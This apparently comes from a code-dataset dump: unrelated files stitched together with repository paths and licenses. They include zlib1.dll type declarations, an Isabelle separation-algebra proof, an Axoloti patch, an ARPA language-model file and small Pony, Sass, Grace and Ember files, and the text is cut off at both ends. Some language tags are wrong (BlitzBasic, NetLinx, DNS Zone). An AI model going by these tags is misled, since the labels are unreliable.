ptr(struct(12:ptr(TOP),16:ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),28:ptr(ptr(struct(16:ptr(struct(0:ptr(TOP),4:reg32_t,8:ptr(TOP),12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,28:ptr(TOP))),28:ptr(struct(0:ptr(TOP))),64:ptr(struct(0:ptr(TOP),4:reg32_t,8:ptr(TOP),12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,28:ptr(TOP))),68:ptr(TOP),72:ptr(TOP),96:num32_t))),64:ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),68:ptr(TOP),72:ptr(TOP),96:num32_t,108:reg32_t)) "Struct_121*" 46 ptr(struct(28:reg32_t,36:code_t)) "Struct_131*" 47 ptr(struct(24:reg32_t,28:reg32_t,32:ptr(array(reg8_t,32)),36:ptr(array(reg8_t,14)))) "Struct_126*" 48 ptr(reg16_t) "word*" 49 ptr(ptr(array(reg8_t,128))) "unknown_1024**" 50 ptr(struct(28:ptr(struct(0:array(reg8_t,36),36:reg32_t)),32:code_t)) "Struct_203*" 51 ptr(struct(0:array(reg8_t,52),52:reg32_t)) "StructFrag_106*" 52 ptr(struct(8:reg32_t,28:ptr(reg32_t),32:ptr(array(reg8_t,32)),36:ptr(array(reg8_t,14)))) "Struct_98*" 53 union(ptr(reg32_t),ptr(int32_t)) "Union_25" 54 int32_t "signed int" 55 ptr(struct(8:struct(0:reg32_t,4:reg32_t,12:reg32_t,20:reg32_t,28:reg32_t,32:reg32_t,40:reg32_t,44:reg32_t,48:reg32_t,56:reg32_t,60:reg32_t,76:reg32_t,80:reg32_t,108:reg32_t),48:reg32_t)) "Struct_201*" 56 ptr(struct(28:ptr(uint32_t),32:code_t)) "Struct_132*" 57 ptr(struct(0:array(reg8_t,28),28:ptr(struct(0:array(reg8_t,60),60:reg32_t)))) "StructFrag_110*" 58 ptr(struct(0:ptr(TOP),20:reg32_t,28:ptr(struct(0:array(reg8_t,208),208:reg32_t)))) "Struct_199*" 59 union(ptr(TOP),uint32_t) "Union_16" 60 ptr(ptr(reg32_t)) "dword[]*" 61 ptr(struct(0:array(reg8_t,28),28:ptr(struct(0:array(reg8_t,28),28:reg32_t)))) "StructFrag_100*" 62 ptr(struct(0:ptr(struct(0:ptr(num8_t),4:reg32_t,28:reg32_t)),44:num32_t,64:ptr(TOP),72:reg32_t,76:reg32_t,88:reg32_t,92:reg32_t)) "Struct_168*" 63 ptr(struct(2840:ptr(TOP),2844:reg32_t,2848:ptr(struct(0:ptr(TOP),12:reg32_t)))) "Struct_50*" 64 union(ptr(struct(0:array(reg8_t,5688),5688:ptr(reg32_t))),ptr(struct(2840:ptr(TOP),2844:reg32_t,2848:ptr(struct(0:ptr(TOP),12:reg32_t))))) "Union_15" 65 struct(0:ptr(struct(8:reg32_t,24:ptr(num8_t),28:ptr(array(reg8_t,140)),32:code_t,36:ptr(array(reg8_t,14)))),48:reg32_t,132:reg32_t,136:reg32_t) "Struct_10" 66 struct(0:union(ptr(struct(28:reg32_t,36:code_t,64:ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),68:ptr(TOP),72:ptr(TOP),80:ptr(TOP),84:ptr(TOP))),ptr(struct(8:reg32_t,28:ptr(reg32_t),32:ptr(array(reg8_t,32)),36:ptr(array(reg8_t,14))))),8:reg32_t,12:reg32_t,16:reg32_t,36:num8_t,44:reg32_t,48:struct(0:ptr(struct(8:reg32_t,24:ptr(num8_t),28:ptr(array(reg8_t,140)),32:code_t,36:ptr(array(reg8_t,14)))),48:reg32_t,132:reg32_t,136:reg32_t),108:reg32_t,132:struct(0:ptr(struct(8:reg32_t,24:ptr(num8_t),28:ptr(array(reg8_t,140)),32:code_t,36:ptr(array(reg8_t,14)))),48:reg32_t,132:reg32_t,136:reg32_t),1172:reg16_t,2840:ptr(TOP),2848:ptr(ptr(TOP)),2852:reg32_t,2860:ptr(ptr(TOP)),2864:reg32_t,2872:ptr(array(reg8_t,20)),5788:num32_t) "Struct_172" 67 union(ptr(struct(28:reg32_t,36:code_t,64:ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),68:ptr(TOP),72:ptr(TOP),80:ptr(TOP),84:ptr(TOP))),ptr(struct(8:reg32_t,28:ptr(reg32_t),32:ptr(array(reg8_t,32)),36:ptr(array(reg8_t,14))))) "Union_17" 68 ptr(struct(52:ptr(TOP),56:num32_t,60:reg32_t,84:reg32_t)) "Struct_101*" 69 ptr(struct(0:ptr(struct(0:reg8_t,1:num8_t)),4:reg32_t,12:ptr(TOP),24:ptr(num8_t),28:ptr(struct(52:ptr(TOP),56:num32_t,60:reg32_t,84:reg32_t)))) "Struct_197*" 70 union(uint32_t,ptr(num8_t)) "Union_24" 30 ptr(struct()) "Struct_30*" 71 ptr(struct(0:array(reg8_t,28),28:ptr(struct(0:array(reg8_t,32),32:ptr(struct(0:array(reg8_t,48),48:reg32_t)))))) "StructFrag_109*" 72 ptr(struct(0:array(reg8_t,48),48:reg32_t)) "StructFrag_58*" 73 ptr(num32_t) "int*" 73 ptr(num32_t) "int[]" 74 ptr(struct(0:array(reg8_t,536870908),4294967292:num32_t)) "StructFrag_121*" 75 union(ptr(reg16_t),ptr(struct(2864:ptr(TOP),2868:reg32_t,2872:ptr(struct(0:ptr(TOP),12:reg32_t)))),ptr(struct(2864:ptr(TOP),2868:num32_t,2872:ptr(struct(0:ptr(TOP),12:reg32_t,16:reg32_t))))) "Union_30" 76 ptr(struct(5784:ptr(TOP),5792:reg32_t,5808:reg32_t)) "Struct_137*" 48 ptr(reg16_t) "word[]" 77 ptr(array(reg8_t,120)) "unknown_960*" 78 ptr(struct(0:ptr(TOP),4:num32_t,8:ptr(struct(0:ptr(TOP),12:reg32_t,16:reg32_t)))) "Struct_209*" 79 ptr(struct(2864:ptr(TOP),2868:num32_t,2872:ptr(struct(0:ptr(TOP),12:reg32_t,16:reg32_t)))) "Struct_216*" 80 union(ptr(struct(2864:ptr(TOP),2868:reg32_t,2872:ptr(struct(0:ptr(TOP),12:reg32_t)))),ptr(struct(2864:ptr(TOP),2868:num32_t,2872:ptr(struct(0:ptr(TOP),12:reg32_t,16:reg32_t))))) "Union_28" 81 union(ptr(reg32_t),ptr(reg16_t),ptr(struct(0:ptr(struct(8:reg32_t,24:ptr(num8_t),28:ptr(TOP),32:code_t,36:ptr(array(reg8_t,14)))),48:reg32_t,132:reg32_t,136:reg32_t)),ptr(ptr(struct(0:array(reg8_t,44),44:reg32_t)))) "Union_32" 82 union(ptr(reg32_t),ptr(reg16_t),ptr(struct(0:ptr(struct(8:reg32_t,24:ptr(num8_t),28:ptr(TOP),32:code_t,36:ptr(array(reg8_t,14)))),48:reg32_t,132:reg32_t,136:reg32_t))) "Union_31" 83 union(ptr(reg32_t),ptr(reg16_t),ptr(ptr(struct(0:array(reg8_t,44),44:reg32_t)))) "Union_27" 9 ptr(code_t) "proc*[]" 84 ptr(array(reg8_t,32)) "unknown_256*" 85 ptr(struct(0:ptr(struct(0:ptr(struct(8:reg32_t,24:ptr(reg8_t),28:ptr(TOP),32:code_t,36:ptr(array(reg8_t,14)))),48:reg32_t,132:reg32_t,136:reg32_t)),8:reg32_t,12:uint32_t,16:reg32_t,44:num32_t,56:reg32_t,64:reg32_t,68:reg32_t,76:num32_t,2840:reg32_t,2852:reg32_t,2864:reg32_t,5784:reg32_t,5788:uint32_t,5796:reg32_t)) "Struct_190*" 86 ptr(struct(0:ptr(num8_t),4:reg32_t,28:reg32_t)) "Struct_34*" 87 ptr(uint32_t) "unsigned int[]" 88 ptr(struct(0:ptr(num8_t),4:ptr(uint32_t),12:reg32_t,16:uint32_t,20:reg32_t,28:ptr(uint32_t))) "Struct_165*" 89 union(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t)),ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),ptr(num8_t),uint32_t,struct(0:ptr(TOP)),ptr(struct(0:ptr(TOP))),ptr(struct(28:ptr(struct(0:ptr(TOP))),64:reg32_t,72:reg32_t)),ptr(ptr(struct(28:ptr(struct(0:ptr(TOP))),64:reg32_t,72:reg32_t))),struct(16:reg32_t,28:ptr(struct(0:ptr(TOP))),64:ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),68:ptr(TOP),72:ptr(TOP),96:num32_t,108:reg32_t)) "Union_11" 90 struct(0:reg32_t,76:reg32_t,80:reg32_t,108:reg32_t) "Struct_183" 91 ptr(array(reg8_t,128)) "unknown_1024*" 92 ptr(struct(0:array(reg8_t,3),3:num8_t)) "StructFrag_102*" 93 ptr(struct(0:array(reg8_t,5),5:num8_t)) "StructFrag_103*" 94 ptr(struct(0:reg8_t,1:num8_t)) "StructFrag_51*" 95 ptr(struct(0:reg32_t,4:union(ptr(TOP),uint32_t),8:reg32_t,12:uint32_t,16:reg32_t,20:union(ptr(TOP),uint32_t),24:ptr(TOP),28:num32_t,36:num32_t,44:reg32_t,48:reg32_t)) "Struct_178*" 96 ptr(struct(0:array(reg8_t,32),32:ptr(struct(0:array(reg8_t,48),48:reg32_t)))) "StructFrag_108*" 57 ptr(struct(0:array(reg8_t,28),28:ptr(struct(0:array(reg8_t,60),60:reg32_t)))) "StructFrag_112*" 97 ptr(struct(0:array(reg8_t,60),60:reg32_t)) "StructFrag_111*" 98 ptr(array(reg8_t,64)) "unknown_512*" 99 ptr(struct(0:ptr(TOP),12:reg32_t,16:reg32_t)) "Struct_40*" 100 ptr(struct(0:array(reg8_t,44),44:reg32_t)) "StructFrag_9*" 101 ptr(struct(0:reg32_t,4:code_t)) "StructFrag_135*" 102 ptr(struct(12:struct(0:reg32_t,8:reg32_t,16:reg32_t,20:num32_t),28:ptr(num32_t))) "Struct_188*" 103 ptr(struct(0:reg32_t,4:uint32_t,64:ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),68:ptr(TOP))) "Struct_99*" 104 ptr(struct(76:ptr(num8_t),80:ptr(array(reg8_t,128)),84:reg32_t)) "Struct_127*" 105 ptr(struct(0:array(reg8_t,5200),5200:reg32_t)) "StructFrag_118*" 106 ptr(struct(0:array(reg8_t,12),12:reg16_t)) "StructFrag_128*" 107 ptr(struct(8:reg32_t,20:reg32_t,5784:ptr(TOP),5792:reg32_t,5796:ptr(TOP),5812:num32_t,5816:reg16_t,5820:reg32_t)) "Struct_223*" 108 ptr(struct(0:array(reg8_t,536870908),4294967292:reg32_t)) "StructFrag_143*" 109 ptr(struct(0:array(reg8_t,536870896),4294967280:reg32_t)) "StructFrag_62*" 110 ptr(struct(4294967272:ptr(TOP),4294967288:code_t,4294967292:code_t)) "Struct_224*" 111 ptr(struct(24:reg32_t,44:uint32_t,52:reg32_t,56:ptr(num8_t),64:reg32_t,68:ptr(TOP),72:num32_t,84:reg32_t,88:reg32_t,92:uint32_t,108:uint32_t)) "Struct_138*" 3 code_t "(int,FILE* -> int)*" 3 code_t "(_Inout_ void*,size_t,size_t,FILE* -> size_t)*" 112 union(ptr(num32_t),ptr(struct(0:array(reg8_t,208),208:reg32_t))) "Union_26" 113 ptr(struct(0:ptr(num8_t),4:uint32_t,8:reg32_t,28:ptr(num8_t),48:uint32_t)) "Struct_171*" 114 ptr(struct(0:ptr(num8_t),4:num32_t,16:reg32_t,28:num32_t)) "Struct_167*" 115 struct(0:reg32_t,56:uint32_t,60:reg32_t,76:reg32_t,80:reg32_t,108:reg32_t,208:reg32_t) "Struct_200" 116 ptr(struct(0:ptr(TOP),8:reg32_t,16:reg32_t)) "Struct_37*" 117 ptr(struct(0:ptr(TOP),8:ptr(struct(0:ptr(TOP),8:reg32_t,16:reg32_t)))) "Struct_218*" 118 struct(0:reg32_t,8:reg32_t,16:reg32_t,20:num32_t) "Struct_187" 3 code_t "(_Inout_ void* -> void)*" 3 code_t "(_In_ void*,size_t,size_t,FILE* -> size_t)*" 119 ptr(struct(44:num32_t,60:num32_t,68:ptr(TOP),72:num32_t,76:num32_t,92:reg32_t,96:reg32_t,104:reg32_t,108:reg32_t,116:reg32_t,120:reg32_t,124:reg32_t,128:reg32_t,132:num32_t,140:reg32_t,144:reg32_t)) "Struct_192*" 120 ptr(struct(0:array(reg8_t,5368),5368:reg16_t)) "StructFrag_115*" 121 ptr(ptr(struct(0:array(reg8_t,44),44:reg32_t))) "StructFrag_9**" 3 code_t "(void -> int*)*" 122 union(ptr(reg32_t),ptr(struct(0:array(reg8_t,5688),5688:ptr(reg32_t))),ptr(struct(2840:ptr(TOP),2844:reg32_t,2848:ptr(struct(0:ptr(TOP),12:reg32_t))))) "Union_23" 123 union(ptr(reg32_t),ptr(reg16_t),ptr(ptr(struct(0:array(reg8_t,44),44:reg32_t))),ptr(struct(2864:ptr(TOP),2868:reg32_t,2872:ptr(struct(0:ptr(TOP),12:reg32_t)))),ptr(struct(2864:ptr(TOP),2868:num32_t,2872:ptr(struct(0:ptr(TOP),12:reg32_t,16:reg32_t))))) "Union_29" 124 array(reg8_t,49) "unknown_392" 125 array(reg8_t,16) "unknown_128" 126 array(reg8_t,10) "unknown_80" 127 array(reg8_t,18) "unknown_144" 128 array(reg8_t,9) "unknown_72" 129 array(reg8_t,11) "unknown_88" 130 array(reg8_t,14) "unknown_112" 131 array(reg8_t,22) "unknown_176" 132 array(reg8_t,27) "unknown_216" 133 array(reg8_t,171) "unknown_1368" 134 array(reg8_t,140) "unknown_1120" 135 array(reg8_t,26) "unknown_208" 136 array(reg8_t,12) "unknown_96" 137 array(reg8_t,144) "unknown_1152" 138 array(reg8_t,19) "unknown_152" 139 array(reg8_t,32) "unknown_256" 140 array(reg8_t,33) "unknown_264" 141 array(reg8_t,534) "unknown_4272" 142 array(reg8_t,67) "unknown_536" 143 array(reg8_t,28) "unknown_224" 144 array(reg8_t,20) "unknown_160" 145 array(reg8_t,31) "unknown_248" 146 array(reg8_t,541) "unknown_4328" 147 array(reg8_t,71) "unknown_568" 148 reg64_t "qword" 149 array(reg8_t,47) "unknown_376" 150 array(reg8_t,7) "unknown_56" 151 array(reg8_t,6) "unknown_48" 152 array(reg8_t,17) "unknown_136" 153 array(reg8_t,53) "unknown_424" 154 array(reg8_t,43) "unknown_344" 155 array(reg8_t,15) "unknown_120" 156 array(reg8_t,30) "unknown_240" 157 array(reg8_t,21) "unknown_168" 158 array(reg8_t,56) "unknown_448" 159 array(reg8_t,63) "unknown_504" 160 array(reg8_t,82) "unknown_656" 161 array(reg8_t,74) "unknown_592" 162 array(reg8_t,36) "unknown_288" 163 array(reg8_t,61) "unknown_488" 164 array(reg8_t,34) "unknown_272" 165 array(reg8_t,25) "unknown_200" 166 array(reg8_t,64) "unknown_512" 167 array(reg8_t,76) "unknown_608" 168 array(reg8_t,46) "unknown_368" 169 array(reg8_t,55) "unknown_440" 170 array(reg8_t,100) "unknown_800" 171 array(reg8_t,5) "unknown_40" 172 array(reg8_t,83) "unknown_664" 173 array(reg8_t,38) "unknown_304" 174 array(reg8_t,78) "unknown_624" 175 array(reg8_t,13) "unknown_104" 176 array(reg8_t,35) "unknown_280" 177 array(reg8_t,65) "unknown_520" 178 array(reg8_t,37) "unknown_296" 179 array(reg8_t,84) "unknown_672" 180 array(reg8_t,117) "unknown_936" 181 array(reg8_t,97) "unknown_776" 182 array(reg8_t,50) "unknown_400" 183 array(reg8_t,85) "unknown_680" 184 array(reg8_t,42) "unknown_336" 185 array(reg8_t,24) "unknown_192" 186 array(reg8_t,41) "unknown_328" 187 array(reg8_t,59) "unknown_472" 188 array(reg8_t,48) "unknown_384" 189 array(reg8_t,111) "unknown_888" 190 array(reg8_t,57) "unknown_456" 191 array(reg8_t,99) "unknown_792" 192 array(reg8_t,283) "unknown_2264" 193 array(reg8_t,75) "unknown_600" 194 array(reg8_t,39) "unknown_312" 195 array(reg8_t,160) "unknown_1280" 196 array(reg8_t,66) "unknown_528" 197 array(reg8_t,80) "unknown_640" 198 array(reg8_t,148) "unknown_1184" 199 array(reg8_t,29) "unknown_232" 200 array(reg8_t,62) "unknown_496" 201 array(reg8_t,58) "unknown_464" 202 array(reg8_t,103) "unknown_824" 203 array(reg8_t,88) "unknown_704" 204 array(reg8_t,87) "unknown_696" 205 array(reg8_t,54) "unknown_432" 206 array(reg8_t,116) "unknown_928" 207 array(reg8_t,40) "unknown_320" 208 array(reg8_t,86) "unknown_688" 209 array(reg8_t,60) "unknown_480" 210 array(reg8_t,51) "unknown_408" 211 array(reg8_t,44) "unknown_352" 212 array(reg8_t,23) "unknown_184" 213 array(reg8_t,165) "unknown_1320" 214 array(reg8_t,70) "unknown_560" 215 array(reg8_t,52) "unknown_416" 216 array(reg8_t,133) "unknown_1064" 217 array(reg8_t,115) "unknown_920" 218 array(reg8_t,102) "unknown_816" 219 array(reg8_t,124) "unknown_992" 220 array(reg8_t,104) "unknown_832" 221 array(reg8_t,126) "unknown_1008" 222 array(reg8_t,107) "unknown_856" 223 array(reg8_t,150) "unknown_1200" 224 array(reg8_t,127) "unknown_1016" 225 array(reg8_t,132) "unknown_1056" 226 array(reg8_t,68) "unknown_544" 227 array(reg8_t,89) "unknown_712" 228 array(reg8_t,112) "unknown_896" 229 array(reg8_t,121) "unknown_968" 230 array(reg8_t,96) "unknown_768" 231 array(reg8_t,130) "unknown_1040" 232 array(reg8_t,77) "unknown_616" 3 code_t "(_Inout_ LPFILETIME -ms-> void)*" 3 code_t "(void -ms-> DWORD)*" 3 code_t "(_Inout_ LARGE_INTEGER* -ms-> BOOL)*" 3 code_t "(UINT -ms-> void)*" 3 code_t "(HMODULE -ms-> BOOL)*" 3 code_t "(size_t -> void*)*" 3 code_t "(int -> char*)*" 3 code_t "(FILE* -> void)*" 3 code_t "(FILE* -> int)*" 3 code_t "(FILE*,_In_ char* -> int)*" 3 code_t "(int,_In_ char* -> FILE*)*" 3 code_t "(_In_ char*,_In_ char* -> FILE*)*" 3 code_t "(FILE*,int,int -> int)*" 3 code_t "(_Inout_ _onexit_t -> _onexit_t)*" 3 code_t "(_Inout_ char*,size_t,_In_ char*,_Inout_ va_list -> int)*" 3 code_t "(_Inout_ char*,_In_ char* -> int)*" 233 array(num8_t,6) "char[6]" 234 array(reg8_t,1024) "unknown_8192" 235 array(reg8_t,1080) "unknown_8640" 236 num16_t "short" 3 code_t "(dword,dword -> dword)*" 237 array(reg8_t,108) "unknown_864" 238 array(num8_t,21) "char[21]" 239 array(num8_t,8) "char[8]" 240 array(num8_t,3) "char[3]" 241 array(reg8_t,2045) "unknown_16360" 242 array(reg8_t,128) "unknown_1024" 243 array(num8_t,30) "char[30]" 244 array(num8_t,22) "char[22]" 245 array(num8_t,28) "char[28]" 246 array(num8_t,36) "char[36]" 247 array(num8_t,26) "char[26]" 248 array(num8_t,25) "char[25]" 249 array(num8_t,29) "char[29]" 250 array(num8_t,19) "char[19]" 251 array(num8_t,23) "char[23]" 252 array(num8_t,20) "char[20]" 253 array(num8_t,27) "char[27]" 254 array(reg8_t,120) "unknown_960" 255 array(reg8_t,1152) "unknown_9216" 256 array(reg8_t,256) "unknown_2048" 257 struct(0:num32_t,4:ptr(TOP),8:ptr(TOP)) "_SCOPETABLE_ENTRY" 258 ptr(ptr(num16_t)) "short**" 259 ptr(num16_t) "short*" 3 code_t "(dword,dword,dword -> dword)*" 260 array(reg8_t,1763) "unknown_14104" 261 array(reg8_t,3980) "unknown_31840" 262 array(reg8_t,4096) "unknown_32768" 263 array(reg8_t,135168) "unknown_1081344" 0 reg32_t "BOOL" 3 code_t "_onexit_t"
BlitzBasic
1
matt-noonan/retypd-data
data/zlib1.dll.decls
[ "MIT" ]
# for more details see: http://emberjs.com/guides/views/ class <%= application_name.camelize %>.<%= class_name.camelize %>View extends Ember.View templateName: '<%= handlebars_template_path %>'
EmberScript
4
JakeKaad/ember-rails
lib/generators/templates/view.em
[ "MIT" ]
(* * Copyright 2014, NICTA * * This software may be distributed and modified according to the terms of * the BSD 2-Clause license. Note that NO WARRANTY is provided. * See "LICENSE_BSD2.txt" for details. * * @TAG(NICTA_BSD) *) (* Author: Gerwin Klein, 2012 Maintainers: Gerwin Klein <kleing at cse.unsw.edu.au> Rafal Kolanski <rafal.kolanski at nicta.com.au> *) chapter "Equivalence between Separation Algebra Formulations" theory Sep_Eq imports Separation_Algebra Separation_Algebra_Alt begin text {* In this theory we show that our total formulation of separation algebra is equivalent in strength to Calcagno et al's original partial one. This theory is not intended to be included in own developments. *} no_notation map_add (infixl "++" 100) declare [[syntax_ambiguity_warning = false]] section "Total implies Partial" definition add2 :: "'a::sep_algebra => 'a => 'a option" where "add2 x y \<equiv> if x ## y then Some (x + y) else None" lemma add2_zero: "add2 x 0 = Some x" by (simp add: add2_def) lemma add2_comm: "add2 x y = add2 y x" by (auto simp: add2_def sep_add_commute sep_disj_commute) lemma add2_assoc: "lift2 add2 a (lift2 add2 b c) = lift2 add2 (lift2 add2 a b) c" by (auto simp: add2_def lift2_def sep_add_assoc dest: sep_disj_addD sep_disj_addI3 sep_add_disjD sep_disj_addI2 sep_disj_commuteI split: option.splits) interpretation total_partial: sep_algebra_alt 0 add2 by (unfold_locales) (auto intro: add2_zero add2_comm add2_assoc) section "Partial implies Total" definition sep_add' :: "'a \<Rightarrow> 'a \<Rightarrow> 'a :: sep_algebra_alt" where "sep_add' x y \<equiv> if disjoint x y then the (add x y) else undefined" lemma sep_disj_zero': "disjoint x 0" by simp lemma sep_disj_commuteI': "disjoint x y \<Longrightarrow> disjoint y x" by (clarsimp simp: disjoint_def add_comm) lemma sep_add_zero': "sep_add' x 0 = x" by (simp add: sep_add'_def) lemma sep_add_commute': "disjoint x y \<Longrightarrow> sep_add' x y = sep_add' y x" by (clarsimp simp: sep_add'_def disjoint_def add_comm) lemma sep_add_assoc': "\<lbrakk> disjoint x y; disjoint y z; disjoint x z \<rbrakk> \<Longrightarrow> sep_add' (sep_add' x y) z = sep_add' x (sep_add' y z)" using add_assoc [of "Some x" "Some y" "Some z"] by (clarsimp simp: disjoint_def sep_add'_def lift2_def split: option.splits) lemma sep_disj_addD1': "disjoint x (sep_add' y z) \<Longrightarrow> disjoint y z \<Longrightarrow> disjoint x y" proof (clarsimp simp: disjoint_def sep_add'_def) fix a assume a: "y \<oplus> z = Some a" fix b assume b: "x \<oplus> a = Some b" with a have "Some x ++ (Some y ++ Some z) = Some b" by (simp add: lift2_def) hence "(Some x ++ Some y) ++ Some z = Some b" by (simp add: add_assoc) thus "\<exists>b. x \<oplus> y = Some b" by (simp add: lift2_def split: option.splits) qed lemma sep_disj_addI1': "disjoint x (sep_add' y z) \<Longrightarrow> disjoint y z \<Longrightarrow> disjoint (sep_add' x y) z" apply (clarsimp simp: disjoint_def sep_add'_def) apply (rule conjI) apply clarsimp apply (frule lift_to_add2, assumption) apply (simp add: add_assoc) apply (clarsimp simp: lift2_def add_comm) apply clarsimp apply (frule lift_to_add2, assumption) apply (simp add: add_assoc) apply (clarsimp simp: lift2_def) done interpretation partial_total: sep_algebra sep_add' 0 disjoint apply (unfold_locales) apply (rule sep_disj_zero') apply (erule sep_disj_commuteI') apply (rule sep_add_zero') apply (erule sep_add_commute') apply (erule (2) sep_add_assoc') apply (erule (1) sep_disj_addD1') apply (erule (1) sep_disj_addI1') done end
Isabelle
5
pirapira/eth-isabelle
sep_algebra/Sep_Eq.thy
[ "Apache-2.0" ]
<patch-1.0 appVersion="1.0.12"> <obj type="const/i" uuid="e202f44b2df17ae0b3e663b98ea6b14c8ff00408" name="i_1" x="280" y="70"> <params/> <attribs> <spinner attributeName="value" value="1"/> </attribs> </obj> <obj type="drj/math/&gt; const i" uuid="a498caeb4da17a59588d64bcf9d5e9b4a652362f" name="&gt;_1" x="364" y="70"> <params/> <attribs> <spinner attributeName="value" value="0"/> </attribs> </obj> <obj type="demux/demux 3" uuid="1d56896bf04a3aa5148abc88ac741df1d1b3e6f8" name="demux_5" x="462" y="70"> <params/> <attribs/> </obj> <obj type="patch/outlet b" uuid="191792f616d4835dba0b55375474a12942e5bcbd" name="LED State A" x="588" y="70"> <params/> <attribs/> </obj> <obj type="patch/outlet b" uuid="191792f616d4835dba0b55375474a12942e5bcbd" name="LED State B" x="588" y="112"> <params/> <attribs/> </obj> <obj type="patch/inlet b" uuid="3b0d3eacb5bb978cb05d1372aa2714d5a4790844" name="Button A" x="28" y="126"> <params/> <attribs/> </obj> <obj type="lokki/math/triggerindex 4" uuid="515373bb-ae4e-428d-a13c-7f24f96a73dc" name="triggerindex_1" x="126" y="126"> <params> <bool32.tgl name="indexlatch" value="1"/> </params> <attribs> <spinner attributeName="c1" value="3"/> <spinner attributeName="c2" value="5"/> <spinner attributeName="c3" value="6"/> <spinner attributeName="c4" value="7"/> </attribs> </obj> <obj type="math/-1" uuid="5fd46bab471bb6509ae83de702dea72933683a98" name="-1_1" x="280" y="126"> <params/> <attribs/> </obj> <obj type="patch/outlet b" uuid="191792f616d4835dba0b55375474a12942e5bcbd" name="LED State C" x="588" y="154"> <params/> <attribs/> </obj> <obj type="patch/inlet b" uuid="3b0d3eacb5bb978cb05d1372aa2714d5a4790844" name="Button B" x="28" y="168"> <params/> <attribs/> </obj> <obj type="patch/inlet b" uuid="3b0d3eacb5bb978cb05d1372aa2714d5a4790844" name="Button C" x="28" y="210"> <params/> <attribs/> </obj> <nets> <net> <source obj="Button A" outlet="inlet"/> <dest obj="triggerindex_1" inlet="b1"/> </net> <net> <source obj="Button B" outlet="inlet"/> <dest obj="triggerindex_1" inlet="b2"/> </net> <net> <source obj="Button C" outlet="inlet"/> <dest obj="triggerindex_1" inlet="b3"/> </net> <net> <source obj="&gt;_1" outlet="out"/> <dest obj="demux_5" inlet="i"/> </net> <net> <source obj="i_1" outlet="out"/> <dest obj="&gt;_1" inlet="in"/> </net> <net> <source obj="-1_1" outlet="result"/> <dest obj="demux_5" inlet="s"/> </net> <net> <source obj="triggerindex_1" outlet="out"/> <dest obj="-1_1" inlet="a"/> </net> <net> <source obj="demux_5" outlet="o0"/> <dest obj="LED State A" inlet="outlet"/> </net> <net> <source obj="demux_5" outlet="o1"/> <dest obj="LED State B" inlet="outlet"/> </net> <net> <source obj="demux_5" outlet="o2"/> <dest obj="LED State C" inlet="outlet"/> </net> </nets> <settings> <subpatchmode>no</subpatchmode> </settings> <notes><![CDATA[]]></notes> <windowPos> <x>1002</x> <y>65</y> <width>850</width> <height>760</height> </windowPos> </patch-1.0>
NetLinx
3
pfawcett23/ssb_axoloti
ssb_library/ctrl/axoCtlLedSelector.axs
[ "MIT" ]
\data\ ngram 1=4 ngram 2=2 ngram 3=2 \1-grams: -5.234679 a -3.3 -3.456783 b 0.0000000 <s> -2.5 -4.333333 </s> \2-grams: -1.45678 a b -3.23 -1.30490 <s> a -4.2 \3-grams: -0.34958 <s> a b -0.23940 a b </s> \end\
DNS Zone
2
shuipi100/kaldi
src/lm/test_data/input.arpa
[ "Apache-2.0" ]
use @pony_exitcode[None](code: I32) actor Main new create(env: Env) => try if false then error end return then @pony_exitcode(42) end @pony_exitcode(0)
Pony
3
rtpax/ponyc
test/libponyc-run/try-then-clause-return/main.pony
[ "BSD-2-Clause" ]
@mixin visually-hidden position: absolute !important height: 1px width: 1px overflow: hidden clip: rect(1px, 1px, 1px, 1px) white-space: nowrap display: initial
Sass
3
ahmadiqbal1/vuetify
packages/vuetify/src/styles/tools/_display.sass
[ "MIT" ]
//Pre-comment def x def x = 10 //Post-comment def x var y := 47 //Post-comment var y var z := 42 //Post-comment var z def w = 10 //Post-comment def w var q //Pre-comment one type Person after blank //Pre-comment two type Person type Person = { //Post-comment type Person //pre-comment for methodtype name name -> String //sameline comment for methodtype name //post-comment for methodtype name //post-comment for methodtype name age -> Number } //post-Comment on typeDec person method m -> Done { //post-comment (sameline) method m //post-comment one method m //post-comment two method m print "hello" //Comment on request of print (should not be captured) } //pre-comment one class person //pre-comment two class person class person(name', age') -> Person { // post-comment on class person def name:String is public = name' // post-comment on def name' def age:Number is public = age' }
Grace
3
Dmitri-2/GraceWebsite
js-simple/tests/known-failing/astComments_input.grace
[ "MIT", "BSD-3-Clause" ]
/* Copyright © 2011, 2012, 2013 MLstate This file is part of Opa. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ /** * @author Adam Koprowski, 